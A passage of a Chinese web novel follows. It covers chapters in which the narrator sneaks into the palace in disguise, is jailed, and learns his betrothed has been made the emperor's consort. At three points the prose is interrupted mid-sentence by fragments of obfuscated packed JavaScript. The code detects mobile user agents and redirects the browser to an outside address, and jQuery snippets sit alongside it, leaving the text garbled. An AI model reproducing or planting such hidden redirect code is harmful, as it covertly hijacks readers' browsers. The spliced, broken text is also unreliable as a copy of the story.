纸终究是包不住火的,我见事情既已败露,月夫人已经起了疑心,便知道瞒不住了:“我爹他,要给旧时丞相家平反,被皇上打进了死牢。外面现在到处都在通缉我,我,我已经无家可归了,官兵们都不敢搜醉红楼,我便一直都在这里了。” 我深信,那日半夜闯进醉红楼的一众官兵,多半是来寻我的,大家都知道我爱来醉红楼,都知道我喜欢这里的一个名叫“月柒”的女孩子。 “他,他怎的如此之傻,什么良臣,什么忠胆,要这些虚名做甚。”月夫人的眼里泛着泪光,随即她呜咽起来。 一边是情同手足的兄弟,一边是救命之恩的娘亲,看着他们难过的样子,我的心里很不是滋味。 月柒上了楼,推开门便看到了眼前的一幕,吓得手中的铜盆跌落在地,水洒得满地都是。 24. 入宫 “沈笑醒了,该是好事,哭什么呀!还有你,你把爹的事告诉娘了?”月柒指着我,气得跺了跺脚。 “嗯。沈笑他,看不见了。”我努力地压制住语气中的不淡定。 “大早上的,一个两个都吵啥,让不让人睡个安稳觉了!”王爷被我们吵醒了,他伸了伸懒腰,打了个哈欠,望着我们一屋子的人,一脸懵逼。 “王爷你快看看,沈笑,沈笑他……”我赶紧把他拉到沈笑床边,希望他能瞧出一二来。 任谁一觉醒来发现自己变成了一个瞎子,这事实都是难以接受的吧。况且沈笑的眼睛最好看,这是加分项啊啊啊不能丢! “娘,没事的,有高人指点我们,说姨娘可以救爹,我们今日就去寻她。”月柒拍了拍月夫人的肩,安慰道。 “你们说的,可是碧凝?”月夫人红通通的眸中带了些许的柔光,毕竟是姐妹情深。 “正是她。”不知道谁给了我们勇气,我们竟然莫名其妙地相信鬼市那位卖消息的高人。 “果然,解铃还须系铃人呀。”王爷仔细翻看了一下沈笑的眼睛,突然感慨了一句。 “你说什么?”三双眼睛同时唰唰唰地望向了王爷,妄图寻求一二。 “没事。我说沈笑,既然已经醒了,便没事了,你的失明,是暂时性的。你要相信我,可别砸了我的招牌,一个大老爷们,哭哭啼啼成何体统。”王爷语气虽是严厉,却伸出手来,轻轻地拍了拍他的背。 “真的吗?”沈笑停止了哭泣,一双空洞的眸望向王爷。 王爷不说话,只是轻抚着沈笑的背,那模样,像是在安慰一个不小心摔疼后嚎啕大哭的小孩子,目光中是满满的慈爱。 “我这样跟着你们去找她,怕是会连累你们。这样吧,我修书一封,你们替我转交给她?”听闻我们要去找姨娘,月夫人语气里都透露着开心。 因为这意味着,爹有救了。 王爷随即眯了眯眼,有些狡黠地看着我们:“宫里的路线图,想不想要?你们可以假装成太监宫女混进去!” 怎么去呢?我们将所有的希望都寄托在这个素未谋面的碧妃身上,差点忽视了摆在面前的问题。 月柒取了笔墨,递给王爷,月夫人也是去过皇宫的人,她看着王爷一笔一笔地勾勒着,时不时补充几句。 我给沈笑喂水的时候,他拽了拽我的白衣,语气百般讨好:“你能不能带我下去逛逛?那傻丫头看不见我,又要哭鼻子了,她一向都没什么安全感。” 说这句话的时候,他的嘴角洋溢着微笑,果然一提自己心心念念的人,他脸上没了先前的阴翳与沉闷。 “是公主?”我试探着问道。 “是的,不过我不能告诉你她是谁,这是秘密。”他嘴角上扬,像个孩子一样乖巧地朝向我,一双眸子如石沉大海,惊不起半点波澜,我知道他还是看不见。 “好。”我没有计较,毕竟每个人都有他自己的秘密。 从那夜他昏迷不醒,却一口一个公主念了一晚上,我开始相信沈笑的纨绔其实是戏,真正的他,其实一心一意地守着他的公主。 “我们下去逛一圈,尽可能地让更多人知道我的存在,还要假装我什么事都没有。”沈笑嘱咐我。 我依旧易了模样,牵着沈笑,去了一楼大厅。 “哟,沈公子,近几日都未曾见你,可是看上了其他坊里的姑娘?”有个姑娘看到了沈笑,随即调笑道。 沈笑恢复到以往的状态,一副风流不羁的模样,戏谑道:“哪里的姑娘能美过咱们醉红楼哟,光看紫嫣姑娘美颜,就知道呀,咱们醉红楼美人如云。” 那副努力勉强的模样,生生地揪疼了我的心。 和姑娘们一番调侃后,我牵着他上了三楼。不得不说,沈笑骨子里是个纨绔的风流公子,在姑娘们的调侃中,进退自如,最后全身而退。这让我十分佩服他,因为一般男人根本做不到。 公主若是真的在意沈笑,便可以知道,他去了月柒的房间,她若是聪明,即便她没认出我来,也能猜出,沈笑是去找我了。 不得不说,王爷真的是个人才,一幅皇宫地图画得是规规矩矩,有模有样,我和月柒连声啧啧。 “嘿嘿嘿,医术高,年轻时候被皇帝老儿请去皇宫玩了几趟,便记得了。”他撞上了我们有些崇拜的目光,挠挠头有些不好意思道。 “要不神医你跟我们一起去吧!毕竟宫里的情况你那么熟悉。”月柒突然提议道。 神医敲了敲她的脑袋:“傻丫头,你忘了这屋里还有两个病人吗?” 我只是好奇,能进得了皇宫的人,如今怎么落魄成了这样?他的全身上下大概是没有一块完整料子的,万事皆靠他的贵人救济。包括我,也从中受利不少,月夫人的医药费他分文未取,如今一万两于他而言,也是唾手可得。这中间,他究竟经历了什么? 王爷和月夫人给我们详细解读图注,并商议着进宫的办法,沈笑在一旁安静地听着,突然插了一句:“皇宫门禁森严,不过每天早上巳时,会有两名负责饮食起居的宫人易装成寻常人的模样,外出采购物资,子执你们可以从这里下手。” 我没有再追问他怎的会知道这些,从他的一声声“公主”我就大概猜测出了,什么右文殿,什么醉红楼,其实都是幌子,真实的沈笑,身份另有其他。 他随手画了一个符号给我,我觉得熟悉,却又记不起曾在哪里见过:“他们的马车上有这个记号,这是玉宵国皇室之间交流的凭证。” 对了,马车!我记起来了,那日我喝醉了酒,送我回去的那辆马车上,就有这个印记! 此时此刻,公主是谁,我的心里已经有了大概…… 末了,他还提醒了句:“子执你要注意赵骁,后宫近日不宁,他在各处巡逻。” 按照沈笑的主意,我和月柒埋伏在了宫门口的那条小路的拐角。念城民风开放,皇宫和市坊仅是一墙一道之隔,我们俩窝在十字路口的一家早食铺子,各点了碗稀粥,然后开始了漫长的数米过程。 春天好像是一夜之间来到的,此时墙上的黄素馨开得正好,在风里摇摇晃晃的,有些许小黄花被吹掉,铺了一地。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244480|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小二注意到了我们的存在,白了我们一眼,随即拿了抹布,意图赶我们走:“两位,快点吃吧,小店还要招呼其他客人呢。” 话虽是这么说,可是时候也不早了,早已过了人潮涌动的高峰期,来吃早食的人寥寥无几。 我和月柒并未理他,目光直勾勾地看着路口,他见我们并未理睬,也全当是自讨没趣,自个儿回到了小摊前。 突然,一辆暗灰色的马车出现在了拐角处,车帷上有沈笑画给我的那个标识,两个百姓模样的人牵引着马车走在青石板小径上,马蹄声哒哒回荡在空气里。 目标来了! 我和月柒一路尾随着他们,趁没人注意的时候,用王爷特制的药物迷晕了二人。王爷交代过说,用了他的这种药,没三五个时辰是醒不过来的。 我俩扒了他俩的外衣,偷了他们的腰牌,然后把他俩丢在了一家客栈里。 为了不露出破绽,第一步,我们选择把马车里的东西运到宫里去。 “你们俩站住,马车里装的是什么?”刚到了宫门口,便有宫人拦停了我们,追问道。 “回公公,是御膳房新采购的食材。”我尖着嗓子回他,顺带着递过去一锭白花花的银子。 那个人将马车里里外外都盘查了一遍,又端详了它片刻,那是宫里专用的车辆,车帷上是一朵针线勾勒出的牡丹,一针一线,栩栩如生,上面有黄色的线勾勒出一个规规矩矩的“玉”字——玉宵国国姓为“玉”,这个字是皇室贵胄的身份象征。 随即,那人查看了一番我们二人的腰牌,便放我们进去了。 然后,我和月柒按着地图指示,将那些食材运到了御膳房。御膳房的总管仔细打量着我们,目光里好像带了刀子:“咱家怎的瞧得你们如此眼生,今天被派去采购的小德子、小顺子哪去了?” “回公公,我们二人乃是新进宫的,德、顺两位公公临时有事,就把这项差事交给了我们。”我拱了拱手,朝他解释道。 “你们俩记住了,咱家有一句话须得劝劝你们。在这宫里,凡事可得仔细了,保不齐明日,这项上的人头可就不归你了。”他不再追究差事,反而念我们是新人,跟我们说起宫里的条条道道。 “谨记公公教诲。”眼前的人可不是什么善茬,一副狐假虎威的模样,可即便是如此,此刻我们扮作他的下属,他说什么便是什么,我连连应和着。 出了御膳房,我们按照地图,去了西南角的未名宫,那便是废后李碧凝的居所。 一路上,我们小心翼翼,避开了各个宫里的宫女和奴才们,深怕遇到了什么特别的人,再惹出什么是非来。 得知李碧凝的名讳后,我和月柒也从各个方面听说了一些她的事迹。据说,十几年前这个唤作碧凝的姨娘她不在未名宫,而是深得圣恩,圣宠一时,因为在后宫争斗中失了龙子,被贬为妃,久居冷宫。再后来不知怎的,李家莫名其妙地被扣上了叛国的帽子,被灭了满门。饶是如此,皇上比较念旧情,李碧凝性命无忧,仍是冷宫的碧妃,只不过整个人精神状态不怎的好,变得疯疯癫癫。 25. 锒铛入狱 未名宫前的杂草许久无人打理了,已有半墙之高,在微弱的春光里呈现枯黄无光的状态,泥土里的青草已经稍稍的萌芽了。院子里有一株杏树,此时满树依旧是枯枝,只能看见少许的嫩芽。 有个女子一袭白衣,站在杏树之下。风轻轻拂过,抖动枯枝,搅乱杂草,远远望去,那女子的背影和满树的苍凉融为一体,充满无限感伤。 “您可是碧凝姨娘?”月柒看见她,赶忙上去确认。 那女子听见有人唤她,连忙转过头来,目光呆滞地打量了我们片刻。 仔细一瞧,她眉眼和月夫人有些相似。相对于月夫人的病态,这个女子身上散发出来的,更多的是一种温婉,白衣笼罩着她,给她单薄的身影增加了一分凄婉。 见她并未否认,目光尚且算作是回应,月柒默认了她是,一股脑的说了一长串话:“姨娘,我是你姊姊碧瑶的女儿呀!此次前来,我们是有事想请姨娘帮忙。我母亲十几年未见您,甚是思念,特地修书一封,让我们转交给您。” 随即,月柒将那封信递给了她,她望着信封上“碧凝亲启”四个大字,眼神里满是惶恐,嘴里不停地念叨着:“鬼、鬼……” 下一秒,那封书信就在她的玉指间,化为了一堆漫天飞舞的碎片。风轻轻拂过,那些碎片不一会儿便被吹散。 我和月柒看着这一幕,目瞪口呆,这是什么操作? 碧凝张着惊恐的杏目,仔细地打量了我一番,随即尖叫了一声,躲到我身后,指着月柒,整个人都瑟瑟发抖:“鬼,鬼,你是魔鬼,魔鬼……” 这又是什么情况?难道传言是真的?碧妃她得了失心疯? 月柒想要靠近她,跟她解释些什么,她看着月柒慢慢地靠近,尖叫了一声:“啊!” 随即她就跑了出去,只留下了一个苍白的背影,映着早春满园的萧瑟,凄楚无限。 莫非传言是真,这位姨娘现在失了智,脑子不太正常?那她独自跑出去,岂不是很危险? 我们慌忙追上了她的脚步,我心中暗暗祈祷,可不要出什么事啊。不过她倒是跑得真快,一溜烟已经跑过了好几座宫殿了——那些都是玉轩枫妃子们的居住地,徒有空宅罢了。玉轩枫对后宫诸事并不感兴趣,反而那群女人们没事作作妖引起他的注意,沈笑说后宫不宁大抵是她们搞的鬼。 没过许久,我们追上了她匆忙的步伐,可看到她身前的人,我顿时傻了眼。 此时姨娘她正躲在一个人后面,揪着他的鳞甲,嘴里不停地念叨着:“鬼……鬼……” 那个人不是别人,正是沈笑特别叮嘱我要注意的人,当朝的镇国大将军——赵骁。 很不幸的是,他认识我。爹之前和他讨论朝政,为了让我学习一下这位将军治国理政的策略,还特地捎上了我。 赵骁此时眉头紧锁,刀刻的唇间轻吐出一句:“不请自来。” 糟了,怎么办?我现在被全城通缉着,以目前的状况来看,无疑是狼入虎口。 我默默地转了身,想要拔腿就跑,爹还在等着我去救,我不能被抓起来。 “你爹入了天牢,难道你跑得了?”赵骁轻嗤了一声,随即他一声令下:“来人,给我抓起来!” 一群穿着铠甲训练有素的士兵把我团团围住,随即我被五花大绑了起来。 赵骁犀利的眼神扫向了月柒,随即向我问道:“她是谁?” 我的脑海中一片空白,要怎么跟他解释,月柒才能脱身呢…… 路人?不可能,我们这番打扮,她显然和我是一起的,赵骁又不是傻子。 “她是我的奴才。”赵骁身后的姨娘突然幽幽地说了一句,眼神清澈,这让我怀疑她刚刚是装疯。 还好月柒未曾开口,不然她是女子,身着太监服,一切都暴露了。 尔后,只见姨娘慢慢地走向月柒,拉起她的手,向未名宫走去:“走,君以,我们回家。” 留下身后不知所措的我和赵骁,她真的神志不清吗?从最后的那个眼神中,我感觉到她好像如正常人一般。她牵着月柒的手就走了,这又是唱的哪一出,难道她今天的目的,就是要让赵骁把我抓起来? 赵骁的动静太大了,四周围了些指指点点七嘴八舌的宫女太监,我想,不出明天,“江子执被抓起来了”这个消息便会传得满城皆知。 是谁跟我说的,鬼市的消息很靠谱来着的?我现在只想着我要是死了,化为冤鬼,在十五月圆的夜,身着一袭白衣,去把我借的一万两讨要回来。 “进去!”有狱卒重重地推了我一把,随即我跌落在了一地的枯草上。草铺得不厚,我的手狠狠地蹭在了地上,有隐隐约约的疼痛传来。 随即牢头锁了监狱门,向身边的狱卒们说了句:“你们都给我看好他了,这可是皇上钦点的要犯!要是给跑了,咱们可都是要掉脑袋的。” 跑?我能跑到哪里去?江府被官兵查封了,醉红楼里,沈笑因为他的眼疾号啕大哭,月夫人依旧病怏怏的,哪里都是一片糟,本来他们还等着我能救出爹来,现在倒好,我把自己也贴进来了。月柒现在也不知道出宫了没,或是在未名宫跟那位疯疯癫癫的姨娘叙了个旧什么的。 和着些许的潮湿,整个牢房里弥漫着腐烂的味道。正月还未过,尽管白日是大好的春光,晚上却依旧冻人,没有炉火,囚衣也很单薄,有冷风从窗子不断地吹进来,提醒着我现在所发生的一切的真实性。 我抱着双腿,蜷缩在了石床的一角,试图让自己温暖些。床上有只小老鼠看见了我,黑溜溜的眼睛转了一圈,“吱”地一声躲进了石壁间的一个裂缝里。 我气愤地捡起一块石头朝它砸去,哼!连老鼠都有家,只有我无处可去。 尽管很困,但我被冻得睡不着,脑海里浮现的是各种各样的想法。 不知道爹怎么样了,尽管他的身子骨一直硬朗,但他毕竟上了年纪,又比我早些时日进地牢,牢里生活这般清苦,天寒地冻的不知禁受得住不。 沈笑的眼睛也不知好了没,既然王爷说会好起来的,那便会好起来的。王爷说,沈笑中的是一种叫“迷迭”的毒药,这是他此生第三次遇见这种秘药,尽管早已研究出了解毒之法,但沈笑这次中的毒不止一种,便难解了些,恢复得也就慢了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244481|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其实我更好奇,沈笑是怎么受伤的。我记忆里的沈笑,是右文殿里那个手无缚鸡之力的永远摇着一折纸扇的文弱书生,曾是风月之地的那个眉目流转寻花问柳的风流浪子,现在是一心一意唯念一人的痴情汉子。莫非,这一切与醉红楼有关?沈笑如同那个身份从未被公开的神秘公主一般,都有着不可告人的目的? 一切都无从得知。 每到饭点,狱卒都会把伙食送到牢房旁,是一些寻常的素菜,还有一大碗土灰色的米饭,新鲜程度都让人十分质疑。不是玉食珍馐,吃在人心里觉得特别踏实,毕竟,有吃的就很好啦。 寒冷、牢饭、孤身,故事仿佛回到了八年前,我依旧是长离街里的那个小要饭的,没有遇见我的月夫人和月柒,没有遇见爹,没有夺走那份本该不属于我的宠爱。 一切,始于长离街,结束在长离街。 那一段快乐得不真实的时光,仿佛偷来的一般,现在,不过是如数奉还回去罢了。遇到过那么那么好的他们,我想,即便是我死了,也没有什么遗憾,只是心中念着的那些人、那些事,我放不下。 “咳咳……”风里卷着寒,没过多久,我开始不合时宜地咳嗽了起来,隔壁有一个浑厚的中年人的声音传来:“我说小伙子呀,你是犯了什么事呀?” “谋反。”我咬了咬牙齿,轻吐出两个字。那一瞬我在想,如果我能代替爹去死就好了,月柒他们一家便能团圆。这世上没有什么江子执,只是有个孤儿,冻死在了八年前的念城的冰天雪地里。 “啧啧啧。果然是年轻气盛,真羡慕你们这群年轻人呀。” 我不解,已是犯下了滔天大罪,是要杀头的,他为何要羡慕我? “好多年了,我都不记得自己进来多久了。我只记得,我离开家的那年,我妻子刚好生下宝宝,那个小家伙啊,只有胖冬瓜大小的一团,窝在她怀里,很是可爱。”他没有接着说下去,许是独自回忆往事去了。 “我本以为,进了天牢,便是离死期不远,可我万万没想到,这一晃,好多年过去了,唉,天意难测呀。”他长叹了一口气,随后又跟我絮絮讲起他家的一些琐事。 他叫祁善连,是个带兵打战的将军,立过一些战功。因为一次战争中,杀死了一个职位声望颇高的出卖消息的潜伏军中的密探,引得军心惶惶,为稳定军心,他便锒铛入狱。 可能是皇上日理万机,忘了被丢在监狱的他了?按理说,祁将军未曾做错什么,入狱多年都是委屈。我有时候就觉得,这世上的事情很是莫名其妙,没有什么因为所以,一二三四,一切自然而然就发生了。 我害怕自己如他一般,恍惚到忘了时日,便按着狱卒送饭的时间开始计算日子。时间过去一天,我便在牢房的石壁上用小石子划下一横或一竖,写着“正”字。 这样子的日子真的很难熬,好在有祁善连在。我们俩互相说起彼此的一些故事,我跟他说月柒的事,说月夫人,说我爹,说沈笑,有人陪同着一起闲扯,感觉日子开始变得好过,恍惚着一天便过去了。 当小石子在墙上刻下第三划的时候,月柒来看我了。 26. 蝼蚁 她前脚刚踏进牢房,后脚,狱卒就谨慎地关了牢门,把我们关在了一起,生怕我跑了似的。 “阿执哥哥,你知道不,姨娘竟然没有疯,她近两天打探了消息,得知你在此,便让守卫放我进来看看你。”因为开心,月柒整个人手舞足蹈的,我知道隔壁的祁善连说不定也在很认真听着——时光太漫长,唯有故事可以度日。 原来,碧凝夫人不是疯了,只是装疯卖傻,试图逃避后宫娘娘们的刁难。“碧后”陨落,玉轩枫的后宫成了摆设,他去得少之又少,偶有临幸,也会被灌下散子汤。妃嫔尽失宠,大家自然把原因都归咎到她身上,虽已身处冷宫,但常有后宫妃嫔拿她泄气,不得已,碧凝夫人才出此下策。 “你知道吗?姨娘她跟我说,他有时候很羡慕母亲,她做不到像母亲那样洒脱,平日里只有任人欺负的份。可是她又不甘心,借着装疯卖傻的劲,报复那些常常欺辱她的妃嫔,也将自己保护起来。”月柒望着我,眼睛里的光一闪闪的,一口气说了好长一段的话。 果然人善被人欺,在这个世道里,伪装成一个坏人也未尝不是一种对自己的保护。 可是,她既然已经知道了月柒的身份,却还要把我弄进牢里,这是为何?难不成是为了上演一番苦肉计?还是说她另有打算? 那一瞬我又有些坚定,或许,这个女子,真的可以救爹。若是那样的话,我愿意陪她演完这出装疯卖傻的苦肉计。 恰逢午饭,狱卒过来送饭,今日份菜肴是白菜,上面不带一点点的油星子,米不知道是没淘干净还是发霉了,米饭依旧是灰呼呼的,按照往日的经验,里面或许还有石子。 月柒接过狱卒递进来的饭,有些不可置信地看了半天,随即用筷子夹起一口尝了尝,马上又吐了出来:“这是什么呀,这么难吃。” 然后一溜烟的,她把我的白菜米饭都丢了出去。 “唉,你都打翻了,我吃什么呀!”发脾气归发脾气,难吃是难吃,但肚子还是要填饱的。 “你等着,我去给你寻些好吃的!”说罢,月柒便叫来了狱卒,让他开了门,整个人一溜烟出了监狱。 没过一会儿,月柒便气喘吁吁地拎着一个食盒回来了。 清蒸鲈鱼、酱肘子、黄金鸡、冬笋烧肉、炒土豆丝儿,还有一些我叫不上名字的点心,我看着这一大堆的食物,咽了咽口水。 “嘻嘻,姨娘让膳房新做的。”月柒打开了隔层,取出只瓷碗,替我打了碗饭,又递给我双筷子。 我突然想起了祁善连,那个我未曾谋面却一直陪我说说话的牢友,便敲了敲墙壁,问道:“你现在醒着吗?” 他没有说话,我把耳朵贴在了墙上仔细地听了听,隔壁有窸窸窣窣的声音传来。 我夹了些菜,让月柒给他端了过去,月柒招呼了狱卒,开了牢门,大步走到隔壁的牢房前,唤了他一声,他却突然变得扭捏起来。 “您就别客气了吧,这么多,反正他一个人也吃不完。”月柒倒是落落大方,显得祁善连左右不是了。 “谢谢姑娘,我,我只是许久未沾荤腥了,太开心罢了。”他的语气里满是激动,也是,毕竟这么多年过去了,牢房里只有些简简单单的素菜和米饭。 “嘻嘻,我回来了。”不一会儿,月柒又蹦了过来。 “我说小月儿,你最近有去看看爹吗?”外面的情况,我最想知道的是爹怎么样了。 月柒一听这句话,就变得满脸的委屈:“爹爹他不在刑部,在大理寺,姨娘出不去,我也看不到他。” 按理说,我们俩应该是因同种事由被抓。为何他在大理寺,我在刑部?难道只是因为我不是主犯? 月柒想办法跟月夫人报了平安,便一直留在了宫里,一方面是因为对宫里大大小小的事情好奇,另一方面她想常来看看我,替我改善一下伙食。 其实在哪里,吃什么是无所谓的,我能日日看见她,便是开心的。 我有一次跟她调笑道,说自己怕是全念城待遇最好的犯人了,日日荤腥,还有美人在侧。 月柒没有说话,许久许久,才默默起身,说了句:“阿执哥哥你知道吗?姨娘说,她会把你弄进监狱,只是因为气愤。” 额……我一时有点难以置信,说好的周密计划和苦肉计呢?难不成碧凝夫人只是拿我寻开心,那爹要怎么办? “姨娘说,十几年了,爹现在才肯为母亲出头,母亲定是受了不少委屈,那天其实她认出了我,对你的身份就有了大概的猜测。她听闻你是江大人的儿子,她也不能拿江大人怎么样,就拿你出出气了。所以你不必谢我什么,这些,也是我欠你的,我知道你很无辜。”月柒那一刻异常严肃,我觉得她像是被爹附体了一般。 敢情碧凝夫人只是在消遣我?所以月柒最近都在干嘛?说好的营救大计呢?难不成,她也还在怨恨着父亲? 可是,这一切也不能全怪他呀,他怎么会料想到,那个十几年未见的人,其实一直就在他的身边。 我有些崩溃,坐在稻草上,一言不发,好几次月柒似乎找我说了些什么,我没有理她。 第二天,月柒竟没有再来刑部大牢,第三天也如此。 我摸着石壁上一道道的痕迹,已经六天过去了,不知醉红楼那边还好吗? “祁善连啊,你说月柒这两天怎么没有来,她是不是生我气了呀?”我板在石床上,平躺着也不是,侧躺着也不是,翻来覆去。 “我觉得月柒可能遇到了什么事情,毕竟是女孩子,心软,看你遭遇这般境地,估计是心都碎了。”祁善连遭遇的事情多,看得也透彻,人也相当淡定。 但愿吧,碧凝夫人虽是废后,但还是有着“妃”的头衔,在她的庇佑下,月柒肯定能好好的。 “我说祁善连,你有没有想过,如果有一天,你出了这大牢,你会干什么?”每天闲来无事,无以度日,我便和他找各种话题,你一言我一语地侃着。 “想回家看看兰儿,也不知道她改嫁了没有。我们的孩子,也该长大了吧……” 回答如此伤感,我意识到自己找错了话题,索性不再说话,他却像话匣子被打开了般,向我叨叨说个不停。 “如果她改嫁了,我就继续回军队里,当一名武将,战死沙场,也不枉此一生。” “要是她没有改嫁呢?”我寻思着战死沙场未免也太过凄惨,便扭转了话题。 “想购一家铺子,自己经营着,挣些许银子,好好的和我们的孩子生活下去。对了,我们的孩子叫夏夏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244482|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个很可爱的女孩子呢。”那一瞬,我听出了他语气中的欢喜。 正当我们聊得投机时,碧凝夫人带着几个狱卒,气喘嘘嘘地跑进来,命令道:“你们把牢门打开,放了江子执。” 那几个狱卒真的就照做了,什么情况?处心积虑地想把我关进来的是她,现在想放我走的也是她,我一时有些摸不着头脑。可到底,我与她还是无冤无仇,我也不怪她什么,因为就算没有她添两笔,我也是朝廷要犯。 她一把抓过我的手:“玉、玉轩枫这个疯子。昨日月、月柒来瞧你,半路上、半路上,遇见了……” 我拍了拍她的肩,安慰道:“慢点说,不急。” 她停顿了片刻,接着说道:“半路上遇见了玉轩枫,月柒长得和碧瑶年轻时太像了,一下子就引起了他的注意,后来月柒就不见了,听宫里的宫女们说,皇上今天早上封了个月妃。” 此刻的我如遭到五雷轰顶,虽说近些时日风不平浪不静。爹和我先后锒铛入狱也就算了,此时居然有人告诉我,我的小柒,成了别的人妃子,这让我怎么接受? “我这里有且只有一枚御赐的免死金牌,我把它留给了你,我承认,把你送入虎口是我的不对,但我希望你能,帮帮我,让月柒离开后宫。” “我想要一个理由,一个把免死金牌留给我的理由。”月柒我想救,爹我也想救,相对于我,也许他们,更需要它。 “从小从小,我就恨李碧瑶,你知道吗?她什么都跟我抢,连我喜欢的男人的心,都被她抢走了!可是在冷宫的这些时日,我想通了,她毕竟是我的姐姐,我们李家,就剩我们俩了,如果没有她,我将是孤苦伶仃,一无所有……” “可是你知道吗?我们大家都觉得她摔下山崖死了,听到‘为李家平反’这些字我就明白了,我的碧瑶阿姐,她还活在这个世界上。只是我气啊,都十几年过去了,阿姊现在才落得名至实归吗?我气!你知道吗?从你出现在了未名宫开始,我就认出了,你是在被全城通缉的那个他的儿子!我就没打算放过你,刚好,我们遇见了赵骁。” 我虽好奇,我们不曾见过,她是怎么认识我的,可也没空细究这些。 “但现在,我相信,没有人比你更适合救出月柒,就算是江大人,也只会让事情变得越来越糟糕。所以这唯一一块免死金牌,我打算留给你。” 她很是激动地说着,全然不顾身边的狱卒们早已散去。 “兄弟,保重!”最后离开的时候,我还特地跟祁善连告了个别,这些天,要不是他,我都不知该怎么过。 我终于看清了他的面容,是那种饱经沧桑的削瘦,他的囚衣已经破旧得不成样,乱发纠结,邋遢至极。要是没有他跟我说的那些故事,我哪里能联想到,这人曾是个带兵打战号令千万士兵的将军,也曾有过一段浴血沙场的峥嵘岁月。 “你,加油。”他只是浅浅地跟我说了一句,眼神里满是无奈。 我知道那个无奈的眼神中包含的是什么,因为我要面对的人,真的是太强大太强大了,在他的权威面前,我命如蝼蚁,一捏即碎。 碧凝夫人将我乔装打扮一番后,领到了总管公公面前,嘱咐了句:“皇上新挑选了个去他身边的人手,还望公公教导一二。” 27. 什么风把你吹来了 那公公凤眼一挑,打量了我片刻:“怎的咱家瞧着如此眼生?” “禀公公,这孩子刚入宫没多久,还望公公担待着些。”碧凝夫人忙替我解围。 碧妃虽然身处冷宫,毕竟还是挂着妃的头衔,只要不牵扯到皇上的利益,倒不至于怕谁,这宫里还是可以横着走。 “新人啊,那可要小心着呢,惹怒了皇上,掉脑袋是分分钟的事情。跟咱家来吧。”话音刚落,公公已经转了身,似是要把我带去哪里。 我只是觉得,他说的这话,我好像在哪里听过。是不是所有的宫里的公公们,台词都是一样的? “孩子你保重,我要出宫去寻我家阿姊了。”碧凝夫人拍了拍我的肩,有些任重道远地说道。 我也是在无意中跟她提起月夫人在醉红楼,没想到她竟如此上心,就要去找她。 望着她的背影融入一树梨白,身旁的公公已经走出了好远,我加快了脚步,跟上了总管公公的步伐。 月柒,等着我,我一定会把你救出来。你是我未过门的妻,永永远远都是,不管发生什么,我依旧爱你。 每日,除了学习些宫中的礼仪,总管公公会带我去御膳房,准备皇上的膳食。听厨房的奴才们说,陛下日日午间和新得宠的月妃一起用餐,我每餐总会挑选出几道月柒爱吃的菜肴。 转眼,一个星期过去了,公公望着我,喜笑颜开道:“真是个识时务又聪明的孩子,什么东西,一点就会。” 早点见到月柒,我的心才能安定下来,如何不能赶快上手?随即,我被派到了昭若殿干活。 执政殿是皇上日日召开群臣集会的地方,布置严谨,地方宽敞。与执政殿的庄严肃穆不同,昭若殿作为书房,更显得别致精雅。 整整三面墙,摆满了各式各样的书籍,治国的、理政的、茶道的、膳食的、地理的……让人数不胜数。而这些书籍很多都显得有些不规整了,显然是被翻阅过很多遍的痕迹。 圣人有云,书读百遍,其义自见,我倒是觉得这话放在玉轩枫身上一点都不合适,纵然读了这么多书,他也未见得圣明多少,依旧是脑袋里装着浆糊,做人做事一副昏君模样。 端茶俸水,沐浴更衣,陛下说今晚会摆驾红鸾殿,也就是月柒所在的地方,我的心都提到了嗓子眼。 中途意外发生了。 也不知道哪里来了个宫人,连滚带爬地进了昭若殿:“陛、陛、陛、陛下,今日我等去未名宫例常巡查,碧妃、碧妃她不见了!” 哦,我心里却是很淡定,你们的碧妃娘娘,可是在一周前就已经出了宫,现在才发现吗?谁让你们阳奉阴违,不好好照顾着她的,活该! 这边,皇上陛下的表情就比较有意思了。本来是要去找月柒,玉轩枫整个人是和颜悦色喜笑颜开的,现在有人跑过来告诉他,他冷宫里的妃子不见了,顿时脸上阴云密布,变化之快,让在他身旁的我感慨不已。 随即他踹了那个宫人一脚:“去找,都去把她给朕找回来!她前些天才跟朕保走了江子执,你们去重点看看江子执。” 江子执哪有那么好找?江府被查,他能去的地方那么多,宫人虽然心里苦,却不好言出一二,所有的情绪都写在脸上。此时他们更想不到的是,他们要找的江子执就在身边。 再说我,上回易容被赵骁一下子就认出来了,我这次打扮得可不一样了,月柒不认真看,估计都可能看不出来我是谁。 哼,我心里轻嗤了一声,只要碧凝夫人去了醉红楼,那里有林妈妈坐镇,只要姨娘自己不愿意回来,没有人能把她带走。 